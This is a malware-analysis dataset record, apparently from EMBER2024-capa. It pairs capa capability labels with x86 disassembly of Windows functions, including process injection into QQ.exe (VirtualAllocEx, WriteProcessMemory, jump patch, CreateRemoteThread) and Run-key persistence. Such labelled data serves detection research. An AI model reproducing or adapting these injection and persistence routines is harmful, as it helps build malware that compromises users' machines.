joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018c0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x41f3c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x421928]
push ebx
mov ebx, dword [0x42191c]
mov dword [ebp - 0x18], eax
test ebx, ebx
je 0x401ab2
cmp dword [ebp + 8], 0
je 0x401ab2
push edi
push ebx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401919
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret
push esi
push 0x40
push 0x3000
push 0x4cb
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x401a9f
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
push 0x4cb
push 0x420480
push esi
push edi
mov dword [0x420488], esi
mov dword [0x42048c], 0x410
mov dword [0x420490], ecx
mov dword [0x420494], edx
mov dword [0x420498], 8
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401a99
cmp dword [ebp + 0xc], 0
je 0x401a17
push 0x1c
lea ecx, [ebp - 0x34]
push ecx
push fcn.00401000
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp eax, 0x1c
jne 0x401a9f
mov ebx, dword [ebp - 0x28]
lea edx, [ebp - 0x10]
push edx
push 5
lea eax, [ebp - 0xc]
add ebx, 0x400ffb
push eax
sub esi, ebx
push ebx
mov dword [ebp - 0xb], 0
sub esi, 5
push edi
mov byte [ebp - 0xc], 0xe9
mov dword [ebp - 0xb], esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401a99
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x401a9f
pop esi
pop edi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret
push str.IsWow64Process
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401a3d
lea edx, [ebp - 0x14]
push edx
push 0
push 0
push esi
jmp 0x4019ee
push ebx
call fcn.00401ad0
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x401a9f
push 0x1c
lea eax, [ebp - 0x34]
push eax
add ebx, 0x1000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp eax, 0x1c
jne 0x401a9f
mov ecx, dword [ebp - 0x28]
lea edx, [ebp - 0x10]
push edx
push 5
lea ebx, [ecx + ebx - 5]
lea eax, [ebp - 0xc]
push eax
sub esi, ebx
push ebx
mov dword [ebp - 0xb], 0
sub esi, 5
push edi
mov byte [ebp - 0xc], 0xe9
mov dword [ebp - 0xb], esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4019e5
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret
Function at 0x401ad0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x41f3c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push eax
push 8
mov dword [ebp - 0x22c], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401b12
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret
push edi
push 0x220
lea eax, [ebp - 0x224]
push 0
push eax
call fcn.00412870
add esp, 0xc
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
lea edx, [ebp - 0x208]
push str.QQ.exe
push edx
mov edi, eax
call fcn.0040b230
add esp, 8
test eax, eax
je 0x401b71
mov eax, dword [ebp - 0x214]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x401bcc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Module32Next]
lea esp, [esp]
lea eax, [ebp - 0x228]
push eax
push esi
call ebx
lea ecx, [ebp - 0x208]
push str.QQ.exe
push ecx
mov edi, eax
call fcn.0040b230
add esp, 8
test eax, eax
jne 0x401bbf
test edi, edi
jne 0x401b80
mov eax, dword [ebp - 0x22c]
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x214]
mov dword [ebp - 0x22c], edx
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x22c]
pop edi
xor ecx, ebp
pop esi
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret

Function at 0x401bf0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x41f3c4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x7f
lea eax, [ebp - 0x83]
push 0
push eax
mov byte [ebp - 0x84], 0
call fcn.00412870
mov ecx, dword [0x421920]
mov edx, dword [ebp + 8]
push ecx
push edx
push str.tencent:__AddContact__fromId45fromSubId1subcmdalluin_uwebsitewww.baidu.comfuin_u
lea edx, [ebp - 0x84]
call fcn.004030c0
add esp, 0x18
push 1
push 0x41c84c
push str.explorer.exe
lea eax, [ebp - 0x84]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret
Function at 0x402100
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419753
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x41f3c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push 0x7f
lea eax, [ebp - 0x8f]
push ebx
mov dword [ebp - 4], ebx
push eax
mov byte [ebp - 0x90], bl
call fcn.00412870
mov dword [ebp - 0x98], 0xf
mov dword [ebp - 0x9c], ebx
mov byte [ebp - 0xac], bl
push 0x94
lea ecx, [ebp - 0x140]
push ebx
push ecx
mov byte [ebp - 4], 1
call fcn.00412870
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
add esp, 0x18
lea edx, [ebp - 0x140]
push edx
mov dword [ebp - 0x140], 0x94
call esi
cmp dword [ebp - 0x13c], 5
jne 0x4021aa
cmp dword [ebp - 0x138], 1
jne 0x4021aa
push 2
push 0x41c900
jmp 0x4021f4
push 0x94
lea eax, [ebp - 0x140]
push ebx
push eax
call fcn.00412870
add esp, 0xc
lea ecx, [ebp - 0x140]
push ecx
mov dword [ebp - 0x140], 0x94
call esi
cmp dword [ebp - 0x13c], 6
jne 0x4021ed
cmp dword [ebp - 0x138], 1
jne 0x4021ed
push 4
push str.win7
jmp 0x4021f4
push 6
push str.others
lea ecx, [ebp - 0xac]
call fcn.00403b60
mov ecx, dword [ebp - 0xac]
mov esi, 0x10
cmp dword [ebp - 0x98], esi
jae 0x402218
lea ecx, [ebp - 0xac]
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x1c], esi
jae 0x402223
lea eax, [ebp + 8]
mov edx, dword [ebp + 0x28]
push edx
mov edx, dword [ebp + 0x24]
push edx
push ecx
push eax
push str.qq_sos_sver_xfail_d
lea edx, [ebp - 0x90]
call fcn.004030c0
add esp, 0x14
cmp dword [ebp - 0x98], esi
jb 0x402257
mov eax, dword [ebp - 0xac]
push eax
call fcn.0040a55f
add esp, 4
mov dword [ebp - 0x98], 0xf
mov dword [ebp - 0x9c], ebx
mov byte [ebp - 0xac], bl
cmp dword [ebp + 0x1c], esi
jb 0x40227e
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040a55f
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret
Function at 0x403ca0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x41f3c4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov eax, 2
push ecx
mov edi, edx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 1
push 0
push 0
push 6
push 1
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov edi, dword [sym.imp.WS2_32.dll_ioctlsocket]
lea edx, [ebp - 0x128]
push edx
push 0x8004667e
push eax
mov dword [esi], eax
mov dword [ebp - 0x128], 1
call edi
cmp eax, 0xffffffff
jne 0x403d31
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x403d20
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], 0xffffffff
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi]
push 0x10
lea eax, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov edx, dword [esi]
lea eax, [ebp - 0x130]
push eax
push 0
lea ecx, [ebp - 0x120]
push ecx
push 0
push 0
mov dword [ebp - 0x11c], edx
mov dword [ebp - 0x120], 1
mov dword [ebp - 0x130], 1
mov dword [ebp - 0x12c], 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
mov eax, dword [esi]
jle 0x403d0e
lea edx, [ebp - 0x124]
push edx
push 0x8004667e
push eax
mov dword [ebp - 0x124], 0
call edi
cmp eax, 0xffffffff
je 0x403d0c
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop edi
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret
Function at 0x404f10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419518
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x41f3c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor ebx, ebx
push 8
mov dword [esi], ebx
call fcn.0040a6f6
add esp, 4
cmp eax, ebx
je 0x404ff8
mov dword [esi], eax
xor ecx, ecx
mov dword [eax], ecx
xor edx, edx
mov dword [eax + 4], edx
mov eax, dword [esi]
mov dword [eax], esi
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [ebp - 4], ebx
lea edi, [esi + 0x18]
push 8
mov dword [edi], ebx
call fcn.0040a6f6
add esp, 4
cmp eax, ebx
je 0x404fd4
mov dword [edi], eax
xor ecx, ecx
mov dword [eax], ecx
xor edx, edx
mov dword [eax + 4], edx
mov ecx, dword [edi]
mov edx, dword [ebp + 0xc]
mov dword [ecx], edi
mov dword [edi + 4], ebx
mov dword [edi + 8], ebx
mov dword [edi + 0xc], ebx
mov dword [edi + 0x10], ebx
mov eax, 0xf
mov dword [esi + 0x44], eax
mov dword [esi + 0x40], ebx
mov byte [esi + 0x30], bl
mov dword [esi + 0x74], eax
mov dword [esi + 0x70], ebx
mov byte [esi + 0x60], bl
mov ax, word [edx]
mov word [esi + 0x7c], ax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x10], ebx
call fcn.0040a5f2
push 0x41da40
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 0x20], vtable.std::bad_alloc.0
call fcn.0040bb10
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x14], ebx
call fcn.0040a5f2
push 0x41da40
lea ecx, [ebp - 0x2c]
push ecx
mov dword [ebp - 0x2c], vtable.std::bad_alloc.0
call fcn.0040bb10
int3

Function at 0x4098b0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
mov eax, dword [0x41f3c4]
xor eax, esp
mov dword [esp + 0x1a0], eax
push esi
call fcn.004012c0
or eax, 0xffffffff
mov dword [esp + 4], eax
mov dword [esp + 0xc], eax
lea eax, [esp + 0x10]
push eax
push 0x202
mov dword [esp + 0x10], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea ecx, [esp + 4]
push ecx
mov dword [0x420478], eax
call fcn.00409a50
lea esi, [esp + 4]
call fcn.004099d0
call fcn.00401000
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x1a4]
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040a4cc
mov esp, ebp
pop ebp
ret 0x10
Function at 0x409fd0
Capabilities:
Create thread

Disassembly:
cmp dword [esi + 8], 0xffffffff
je 0x409fdc
mov eax, 1
ret
push 0
push 0
push esi
push 0x40a000
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [esi + 8], eax
mov eax, ecx
ret

Function at 0x40a4cc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f3c4]
jne 0x40a4d6
repz ret
jmp fcn.0040d7bf

Function at 0x415a3c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41f3c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040f48f
and dword [ebp - 0x14], 0
cmp dword [0x4218e8], 0
mov dword [ebp - 0x18], eax
jne 0x415aef
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x415b97
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x415b97
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4218e8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4218ec], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4218f0], eax
call edi
push eax
call esi
mov dword [0x4218f8], eax
test eax, eax
je 0x415aef
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4218f4], eax
mov eax, dword [0x4218f4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x415b48
cmp dword [0x4218f8], ecx
je 0x415b48
push eax
call esi
push dword [0x4218f8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x415b48
test ebx, ebx
je 0x415b48
call edi
test eax, eax
je 0x415b3f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x415b3f
test byte [ebp - 8], 1
jne 0x415b48
or dword [ebp + 0x10], 0x200000
jmp 0x415b7b
mov eax, dword [0x4218ec]
cmp eax, dword [ebp - 0x18]
je 0x415b7b
push eax
call esi
test eax, eax
je 0x415b7b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x415b7b
mov eax, dword [0x4218f0]
cmp eax, dword [ebp - 0x18]
je 0x415b7b
push eax
call esi
test eax, eax
je 0x415b7b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4218e8]
call esi
test eax, eax
je 0x415b97
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x415b99
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a4cc
leave
ret
Function at 0x100b8b4
Capabilities:
Check if file exists
Get file attributes
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
call esi
cmp eax, 0xffffffff
jne 0x100b8e0
push ebx
push 0x1001730
call fcn.01015c5a
pop ecx
pop ecx
jmp 0x100b926
push edi
mov edi, dword [ebp + 0xc]
push edi
call esi
cmp eax, 0xffffffff
push edi
je 0x100b8fb
push 0x1001700
call fcn.01015c5a
pop ecx
pop ecx
jmp 0x100b925
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x100b91e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push ebx
push 0x10016e4
call fcn.01015c5a
add esp, 0x10
jmp 0x100b925
mov dword [ebp - 4], 1
pop edi
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 8
Function at 0x100bc81
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x102c22c]
push ebx
push esi
push edi
push 0x104
mov ebx, 0x103e920
push ebx
push 0
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
call fcn.010150e8
mov edi, eax
mov dword [ebp - 0x210], edi
mov esi, 0x10019c4
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ebx
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
xor edi, edi
mov eax, ecx
cmp eax, edi
jne 0x100bd07
mov eax, dword [ebp - 0x210]
cmp eax, ebx
je 0x100bce8
mov byte [eax - 1], 0
jmp 0x100bcaa
push ebx
push 0x1001990
call fcn.01015c5a
pop ecx
pop ecx
push 0xf007
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x100bd9f
push edi
push 2
push edi
push ebx
call dword [sym.imp.UPDSPAPI.dll_UpdSpOpenInfFileA]
lea ecx, [ebp - 0x220]
push ecx
push edi
push 0x1001980
push eax
mov dword [ebp - 0x210], eax
call dword [sym.imp.UPDSPAPI.dll_UpdSpFindFirstLineA]
test eax, eax
je 0x100bd90
mov ebx, dword [sym.imp.UPDSPAPI.dll_UpdSpGetStringFieldA]
push edi
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
push 1
lea eax, [ebp - 0x220]
push eax
call ebx
test eax, eax
je 0x100bd7e
push edi
push esi
lea eax, [ebp - 0x108]
push eax
push 2
lea eax, [ebp - 0x220]
push eax
call ebx
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.0100b934
test eax, eax
je 0x100bd00
lea eax, [ebp - 0x220]
push eax
push eax
call dword [sym.imp.UPDSPAPI.dll_UpdSpFindNextLine]
test eax, eax
jne 0x100bd36
push dword [ebp - 0x210]
call dword [sym.imp.UPDSPAPI.dll_UpdSpCloseInfFile]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0101439a
leave
ret
Function at 0x100bdb1
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
and dword [0x103f3c4], 0
push ebx
push esi
push edi
push 0x104
mov ebx, 0x103e920
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
call fcn.010150e8
mov edi, eax
mov esi, 0x10019c4
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ebx
mov dword [ebp - 4], eax
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
xor esi, esi
mov eax, ecx
cmp eax, esi
jne 0x100be0c
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100be2c
mov byte [eax - 1], 0
jmp 0x100bdd4
push esi
push 2
push esi
push ebx
call dword [sym.imp.UPDSPAPI.dll_UpdSpOpenInfFileA]
cmp eax, 0xffffffff
mov dword [0x103f3c4], eax
jne 0x100be28
xor eax, eax
mov dword [0x103f3c4], eax
cmp eax, esi
jne 0x100be3f
mov esi, 0xf007
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
jmp 0x100bede
push esi
push 0x104
mov ebx, 0x102dec0
push ebx
push 0x10019dc
push 0x10019d4
push eax
push esi
call dword [sym.imp.UPDSPAPI.dll_UpdSpGetLineTextA]
test eax, eax
mov esi, 0x103f3e0
jne 0x100be7d
push 0x41
pop ecx
push 0x103
push esi
mov edi, ebx
push ebx
rep stosd dword es:[edi], eax
call dword [sym.imp.ntdll.dll_strncpy]
add esp, 0xc
push 0x20
push esi
call dword [sym.imp.ntdll.dll_strchr]
test eax, eax
pop ecx
pop ecx
jne 0x100bed0
cmp byte [0x103f3e0], 0x22
jne 0x100bed0
mov cl, byte [eax + 0x103f3e0]
mov byte [eax + 0x107f8a0], cl
inc eax
test cl, cl
jne 0x100be95
mov eax, 0x107f8a0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100beae
sub eax, edx
mov byte [eax + 0x107f89f], cl
xor eax, eax
mov cl, byte [eax + 0x107f8a1]
mov byte [eax + 0x103f3e0], cl
inc eax
test cl, cl
jne 0x100bebf
push dword [0x103f3c4]
call dword [sym.imp.UPDSPAPI.dll_UpdSpCloseInfFile]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100bee8
Capabilities:
Hide graphical window

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x102c22c]
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
push dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push esi
push 1
mov ebx, eax
push 0x172
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
push 5
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 0
push 0
push 0x31
push dword [ebp + 0x14]
push edi
call esi
test eax, eax
je 0x100bf6b
lea ecx, [ebp - 0x40]
push ecx
push 0x3c
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
je 0x100bf6b
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
test eax, eax
je 0x100bf6b
push 1
push eax
push 0x30
push dword [ebp + 0x14]
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0101439a
leave
ret 0x14
Function at 0x100bf7f
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 2
xor esi, esi
push esi
push 0x1001a04
push 0x80000002
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100c016
push ebx
push edi
push 0x104
mov ebx, 0x103e920
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, ebx
dec edi
cmp dword [0x102c91c], esi
je 0x100bfda
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100bfc9
mov esi, 0x10019fc
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x100bfe8
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100bfda
mov esi, 0x10019f8
movsd dword es:[edi], dword [esi]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100bfed
sub eax, edx
inc eax
push eax
push ebx
xor esi, esi
inc esi
push esi
push 0
push 0x10019ec
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop edi
pop ebx
jne 0x100c016
mov dword [ebp - 8], esi
cmp dword [ebp - 4], 0
pop esi
je 0x100c026
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
leave
ret

Function at 0x100c030
Capabilities:
Delete registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 2
xor esi, esi
push esi
push 0x1001a40
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100c070
push 0x1001a38
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x100c067
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret
Function at 0x100c590
Capabilities:
Check if file exists
Delete directory
Delete file
Move file

Disassembly:
mov edi, edi
push ebx
push esi
push edi
mov edi, 0xfffa
push edi
mov esi, 0x107f8a0
push esi
push 0x1001b08
mov ebx, 0x103e220
push ebx
mov byte [0x107f8a0], 0
call fcn.01015121
push edi
push esi
push 0x103f3e0
push esi
call fcn.01015121
push 0
push esi
call fcn.01017661
push edi
push esi
push 0x1001b08
push ebx
mov byte [0x107f8a0], 0
call fcn.01015121
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x100c607
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x100c607
cmp eax, 3
je 0x100c607
push 4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
pop edi
pop esi
pop ebx
ret

Function at 0x100c610
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push edi
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100c6c2
push ebx
push 2
push ebx
push dword [ebp + 8]
call dword [sym.imp.UPDSPAPI.dll_UpdSpOpenInfFileA]
cmp eax, 0xffffffff
je 0x100c667
lea ecx, [ebp - 0x10]
push ecx
push ebx
push 0x10019d4
push eax
call dword [sym.imp.UPDSPAPI.dll_UpdSpFindFirstLineA]
test eax, eax
jne 0x100c6b6
push esi
push 0x1001b98
mov esi, 0x106f8a0
push esi
mov dword [ebp + 8], ebx
mov byte [0x106f8a0], bl
call dword [sym.imp.ntdll.dll_sprintf]
pop ecx
pop ecx
push ebx
add eax, esi
lea ecx, [ebp + 8]
push ecx
sub eax, esi
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
pop esi
jne 0x100c6b6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x102dc68
push 0x1001b5c
call fcn.01015c5a
add esp, 0xc
jmp 0x100c6de
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x100c6e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 8]
push 0x102dc68
push 0x1001b18
call fcn.01015c5a
add esp, 0x10
xor eax, eax
pop edi
pop ebx
leave
ret 4